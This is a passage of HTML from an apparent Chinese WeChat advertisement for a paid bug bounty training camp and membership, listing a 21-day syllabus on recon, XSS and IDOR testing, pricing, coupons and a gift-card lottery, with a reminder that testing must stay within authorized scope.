class="list-paddingleft-1"><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span style="background-color: rgba(0, 143, 226, 1);padding: 2px 4px;border-radius: 2px;color: #fff;"><span leaf="">海外 SRC 预备营课程</span></span><span style="background-color: rgba(0, 143, 226, 1);padding: 2px 4px;border-radius: 2px;color: #fff;"><span leaf="">21天</span></span></strong><span leaf=""><br/></span><span leaf="">21 Days预备营主线 + 录播主课约 15 小时 + 集中答疑</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span style="background-color: rgba(0, 143, 226, 1);padding: 2px 4px;border-radius: 2px;color: #fff;"><span leaf="">Bug Bounty AI 知识库</span></span><span style="background-color: rgba(0, 143, 226, 1);padding: 2px 4px;border-radius: 2px;color: #fff;"><span leaf="">365天</span></span></strong><span leaf=""><br/></span><span leaf="">3000+ 精品资料及 Write-Ups，知识库支持思路检索与咨询</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span style="background-color: rgba(0, 143, 226, 1);padding: 2px 4px;border-radius: 2px;color: #fff;"><span leaf="">漏洞挖掘 Checklists</span></span><span style="background-color: rgba(0, 143, 226, 1);padding: 2px 4px;border-radius: 2px;color: #fff;"><span leaf="">365天</span></span></strong><span leaf=""><br/></span><span leaf="">降低测试遗漏</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span style="background-color: rgba(0, 143, 226, 1);padding: 2px 4px;border-radius: 2px;color: #fff;"><span leaf="">Bug Bounty Tips</span></span><span style="background-color: rgba(0, 143, 226, 1);padding: 2px 4px;border-radius: 2px;color: #fff;"><span leaf="">365天</span></span></strong><span leaf=""><br/></span><span leaf="">持续更新（包括但不限于防护绕过、信息搜集思路等）</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span style="background-color: rgba(0, 143, 226, 1);padding: 2px 4px;border-radius: 2px;color: #fff;"><span leaf="">厂商目标池推荐表</span></span><span style="background-color: rgba(0, 143, 226, 1);padding: 2px 4px;border-radius: 2px;color: #fff;"><span leaf="">365天</span></span></strong><span leaf=""><br/></span><span leaf="">不定期更新</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span style="background-color: rgba(0, 143, 226, 1);padding: 2px 4px;border-radius: 2px;color: #fff;"><span leaf="">团队实战报告脱敏技术分享</span></span><span style="background-color: rgba(0, 143, 226, 1);padding: 2px 4px;border-radius: 2px;color: #fff;"><span leaf="">365天</span></span></strong><span leaf=""><br/></span><span leaf="">不定期更新（包含Bug Bounty 的思路、方法、复盘等）</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span style="background-color: rgba(0, 143, 226, 1);padding: 2px 4px;border-radius: 2px;color: #fff;"><span leaf="">互助与组队</span></span><span style="background-color: rgba(0, 143, 226, 1);padding: 2px 4px;border-radius: 2px;color: #fff;"><span leaf="">365天</span></span></strong><span leaf=""><br/></span><span leaf="">认识挖洞 partner，万事开头难，这里挖洞不孤单</span></p></li></ul><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;padding-left: 12px;font-size: 19.2px;border-radius: 6px;line-height: 2.4em;border-left: 4px solid rgba(0, 143, 226, 1);border-right: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);border-bottom: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);border-top: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);background: color-mix(in srgb, rgba(0, 143, 226, 1) 8%, transparent);"><span leaf="">预备营 21 天大纲（本期主打）</span></h3><p style="font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;font-size: 16px;line-height: 1.75;text-align: left;max-width: 100%;overflow: auto;-webkit-overflow-scrolling: touch;"><table style="color: #3f3f3f;margin-top: 0 !important;"><thead><tr><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><p><span leaf="">TimeLine</span></p></th><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><p><span leaf="">Lesson Content</span></p></th></tr></thead><tbody><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">Day 1</span></p></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">新手高频问题与开局解法；优秀学员成长案例分析</span></p></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">Day 2</span></p></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">海外 SRC 平台分析；起步最小闭环路径</span></p></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">Day 3</span></p></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">入门路线拆解及学习建议；</span></p><p><span leaf="">解锁内部 AI 知识库</span></p></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">Day 4</span></p></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">目标厂商筛选表；</span></p><p><span leaf="">新手如何选择厂商 SOP</span></p></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">Day 5</span></p></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">Scope/规则/边界判断；新手优先漏洞方向</span></p></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">Day 6</span></p></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">如何持续发现更多自营 BBP；获得私人邀请</span></p></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">Day 7</span></p></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">信息搜集方法论；Recon常见误区规避</span></p></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">Day 8</span></p></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">最小信息收集路径；</span></p><p><span leaf="">自动化脚本实践</span></p></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">Day 9</span></p></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">高价值资产筛选；测试优先级排序思路</span></p></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">Day 10</span></p></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">Burp 测试技巧集合；XSS/IDOR可测点识别 SOP</span></p></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">Day 11</span></p></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">XSS Checklists；报告Impact升级思路</span></p></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">Day 12</span></p></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">XSS Bypass Tips；</span></p><p><span leaf="">内部独家文档《飞燕银梭》</span></p></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">Day 13</span></p></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">IDOR Checklists；IDOR 防护绕过技巧《解牛刀法》</span></p></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">Day 14</span></p></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">课程总结复盘整理；最小闭环实战任务</span></p></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">Day 15 ~ Day 20</span></p></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">实战共学及其作业推进；</span></p><p><span leaf="">2 次集中答疑</span></p></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">Day 21</span></p></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><p><span leaf="">结营仪式与小组 MVP 结算奖励；参与星球专属抽奖活动</span></p></td></tr></tbody></table></p><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;padding-left: 12px;font-size: 19.2px;border-radius: 6px;line-height: 2.4em;border-left: 4px solid rgba(0, 143, 226, 1);border-right: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);border-bottom: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);border-top: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);background: color-mix(in srgb, rgba(0, 143, 226, 1) 8%, transparent);"><span leaf="">主线任务长期陪伴</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">学习不是「上完课就结束」。星球内设有主线任务体系：</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">预习冲刺</span></strong><span leaf=""> → </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">Day1-21 课程</span></strong><span leaf=""> → </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">目标池实战</span></strong><span leaf=""> → </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">周打卡</span></strong><span leaf=""> → </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">报告能力提升</span></strong><span leaf=""> → </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">专题精进</span></strong><span leaf=""> → </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">独立挖洞节奏</span></strong></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">（加入后可详见星球置顶《主线任务表》）</span></p><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;padding-left: 12px;font-size: 19.2px;border-radius: 6px;line-height: 2.4em;border-left: 4px solid rgba(0, 143, 226, 1);border-right: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);border-bottom: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);border-top: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);background: color-mix(in srgb, rgba(0, 143, 226, 1) 8%, transparent);"><span leaf="">干货满满，如何加入？</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">【猎手小屋】星球价格：</span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">999 元 / 年</span></strong><span leaf="">（包含2026版海外SRC实战预备营21天课程，后期将随星球内容技术沉淀而调整价格）</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000299" data-ratio="0.5106666666666667" data-s="300,640" type="block" data-type="jpeg" data-w="750" src="https://wechat2rss.xlab.app/img-proxy/?k=83858c8e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F1nbqyYvGrhKAicq4fVIwxdtIhP5PYzI2vwRXEBpvQdBjanY3PD9vDDKro4DwuVqp0FIJJQHlVV3edM5H28ibOSicZibBiaeiagI07icUJtia7qTB4gA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">如咨询请加助教K，二维码如下：</span></strong></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000286" data-ratio="1.3663157894736842" data-s="300,640" type="block" data-type="jpeg" data-w="950" src="https://wechat2rss.xlab.app/img-proxy/?k=2f94a249&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1nbqyYvGrhIoMXzq5QqPA3iczicA420gbq4CXUdTY5F7Uc4jkY0fNEEr2ffX6kHmhUIqDBXricbK6hn833BS1GldFPnrYmOZyC6HCbONWricHJY%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">目前有 </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">30 张优惠券</span></strong><span leaf="">，以下即可领取！！！</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000298" data-ratio="1.5862068965517242" data-s="300,640" type="block" data-type="png" data-w="580" src="https://wechat2rss.xlab.app/img-proxy/?k=6bb3ca38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F1nbqyYvGrhKxKyibWQmMIstxTTsGmt1kYTTaHgm8WOib77B9rvbnZVtx36H94MKXTZZg6JZ8Y697zBq1bu8g0cdSjnDKMmKFd7FvSPOvk9vM0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;padding-left: 12px;font-size: 19.2px;border-radius: 6px;line-height: 2.4em;border-left: 4px solid rgba(0, 143, 226, 1);border-right: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);border-bottom: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);border-top: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);background: color-mix(in srgb, rgba(0, 143, 226, 1) 8%, transparent);"><span leaf="">附赠福利</span></h3><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;"><span leaf="">完成当期规定课程要求后，可按规则获得如下福利：</span></p><ul style="margin-left: 0;color: #3f3f3f;list-style: none;padding-left: 1.5em;" class="list-paddingleft-1"><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• 「海外 SRC 实战入门班 or 进阶班」任意一个班的 </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">1500元课程抵扣券</span></strong><span leaf="">（将于结营后 7 天内发放）</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• 参与星球年度大抽奖资格（奖品与规则以当期公告为准）</span></p><p><span leaf="">（于结营后第二个月 1 号开放本年度抽奖入口）</span></p></li></ul><blockquote style="border-left: 4px solid rgba(0, 143, 226, 1);border-radius: 6px;background: #f7f7f7;margin-bottom: 1em;font-style: italic;padding: 1em 1em 1em 2em;color: rgba(0, 0, 0, 0.6);border-bottom: 0.2px solid rgba(0, 0, 0, 0.04);border-top: 0.2px solid rgba(0, 0, 0, 0.04);border-right: 0.2px solid rgba(0, 0, 0, 0.04);"><p style="display: block;font-size: 1em;letter-spacing: 0.1em;color: #3f3f3f;margin: 0;"><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">注意：</span></strong><span leaf=""> 入门班与进阶班将持续上线，以 </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">ForOne 安全</span></strong><span leaf=""> 公众号发布消息为准。</span></p></blockquote><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;padding-left: 12px;font-size: 19.2px;border-radius: 6px;line-height: 2.4em;border-left: 4px solid rgba(0, 143, 226, 1);border-right: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);border-bottom: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);border-top: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);background: color-mix(in srgb, rgba(0, 143, 226, 1) 8%, transparent);"><span leaf="">报名前提</span></h3><ul style="margin-left: 0;color: #3f3f3f;list-style: none;padding-left: 1.5em;" class="list-paddingleft-1"><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• 懂 HTTP、常见 Web 漏洞名词、会基础抓包</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• 愿意持续动手练习，希望从「懂一点」到能按流程开测</span></p></li></ul><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;padding-left: 12px;font-size: 19.2px;border-radius: 6px;line-height: 2.4em;border-left: 4px solid rgba(0, 143, 226, 1);border-right: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);border-bottom: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);border-top: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);background: color-mix(in srgb, rgba(0, 143, 226, 1) 8%, transparent);"><span leaf="">适合谁</span></h3><ul style="margin-left: 0;color: #3f3f3f;list-style: none;padding-left: 1.5em;" class="list-paddingleft-1"><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">副业：</span></strong><span leaf=""> 想找上限较高的安全副业</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">求职：</span></strong><span leaf=""> 想有一定漏洞赏金经历，给简历加分</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• </span><strong style="color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;"><span leaf="">远程：</span></strong><span leaf=""> 希望远程办公，平衡工作与生活</span></p></li></ul><h3 data-heading="true" style="margin: 2em 8px 0.75em 0;color: #3f3f3f;font-weight: bold;padding-left: 12px;font-size: 19.2px;border-radius: 6px;line-height: 2.4em;border-left: 4px solid rgba(0, 143, 226, 1);border-right: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);border-bottom: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);border-top: 1px solid color-mix(in srgb, rgba(0, 143, 226, 1) 10%, transparent);background: color-mix(in srgb, rgba(0, 143, 226, 1) 8%, transparent);"><span leaf="">重要说明</span></h3><ul style="margin-left: 0;color: #3f3f3f;list-style: none;padding-left: 1.5em;" class="list-paddingleft-1"><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• 所有测试须在厂商授权范围与平台规则内进行，严禁未授权渗透。</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• 课程录播、资料、答疑内容仅限报名学员本人学习使用；禁止录屏外传、搬运、二次售卖。</span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p><span leaf="">• 未在课程说明中明确写明的服务，不视为默认交付；如有冲突，以当期星球公告与助教通知为准。</span></p></li></ul><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h2 data-heading="true" style="display: table;margin: 4em auto 2em;color: #fff;background: rgba(0, 143, 226, 1);font-weight: bold;text-align: center;padding: 0.3em 1.2em;font-size: 20.8px;border-radius: 8px 24px 8px 24px;box-shadow: 0 2px 6px rgba(0, 0, 0, 0.06);"><span leaf="">04 抽奖赢现金红包啦</span></h2><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);text-align: center;"><strong style="color: rgb(0, 143, 226);font-weight: bold;font-size: inherit;"><span leaf="">一等奖：京东E卡 500 元 * 1</span></strong></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);text-align: center;"><strong style="color: rgb(0, 143, 226);font-weight: bold;font-size: inherit;"><span leaf="">二等奖：</span><strong style="color: rgb(0, 143, 226);font-weight: bold;font-size: inherit;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;font-size: 16px;line-height: 1.75;text-align: left;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">京东E卡 300 元 * 3</span></strong></strong></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);text-align: center;"><strong style="color: rgb(0, 143, 226);font-weight: bold;font-size: inherit;"><span leaf="">三等奖：</span><strong style="color: rgb(0, 143, 226);font-weight: bold;font-size: inherit;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;font-size: 16px;line-height: 1.75;text-align: left;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 1.5em 8px;letter-spacing: 0.1em;color: #3f3f3f;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgba(0, 143, 226, 1);font-weight: bold;font-size: inherit;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">京东E卡 100 元 * 5</span></strong></strong></p><p nodeleaf=""><mp-common-miniprogram class="js_uneditable custom_select_card mp_miniprogram_iframe" data-pluginname="insertminiprogram" data-miniprogram-path="/pages/lucky/lottery/detail?id=8TbG2RJhaua" data-miniprogram-nickname="抽奖助手" data-miniprogram-avatar="http://mmbiz.qpic.cn/mmbiz_png/Vdys2e8jP1l1clbflznHYO7IRflCZWjPfD4NMn1Xqgr5gZbBy1qVc12cGVG1whLTXiafBT7kiaWRl38HCbqLnRzw/640?wx_fmt=png&amp;wxfrom=200" data-miniprogram-title="猎手小屋 x 海外SRC实战预备营" data-miniprogram-imageurl="http://mmbiz.qpic.cn/mmbiz_jpg/1nbqyYvGrhLibqPa1zjMGUGhjlINzz6BIJQonSbKSSVTuwbw7MSMqYGIcrhGEWyiaYuq8bmrwIHsuibY8ejh1yppeW839lnYgbSRV3TalFmbNQ/0?wx_fmt=jpeg" data-miniprogram-type="card" data-miniprogram-servicetype="0" data-miniprogram-appid="wx01bb1ef166cd3f4e" data-miniprogram-imageurlback="http%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1nbqyYvGrhIrtd6LfTggkxBxpOsc35SrPgqCpbic175e8V6qadP38dMGibmZmQe3WDRgVdjJVXTjxmxdgxDFnbcGd02M30nc1hoVBgnJklm6c%2F0%3Fwx_fmt%3Djpeg" data-miniprogram-cropperinfo="%7B%22c%22%3A%7B%22x%22%3A0%2C%22y%22%3A0%2C%22x2%22%3A245%2C%22y2%22%3A196%2C%22w%22%3A245%2C%22h%22%3A196%7D%7D"></mp-common-miniprogram></p><h3 data-heading="true" style="margin: 2em 8px 0.75em 0px;color: rgb(63, 63, 63);font-weight: bold;padding-left: 12px;font-size: 19.2px;border-radius: 6px;line-height: 2.4em;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(0, 143, 226) 10%, transparent) color-mix(in srgb, rgb(0, 143, 226) 10%, transparent) color-mix(in srgb, rgb(0, 143, 226) 10%, transparent) rgb(0, 143, 226);background: color-mix(in srgb, rgb(0, 143, 226) 8%, transparent);text-align: center;"><span 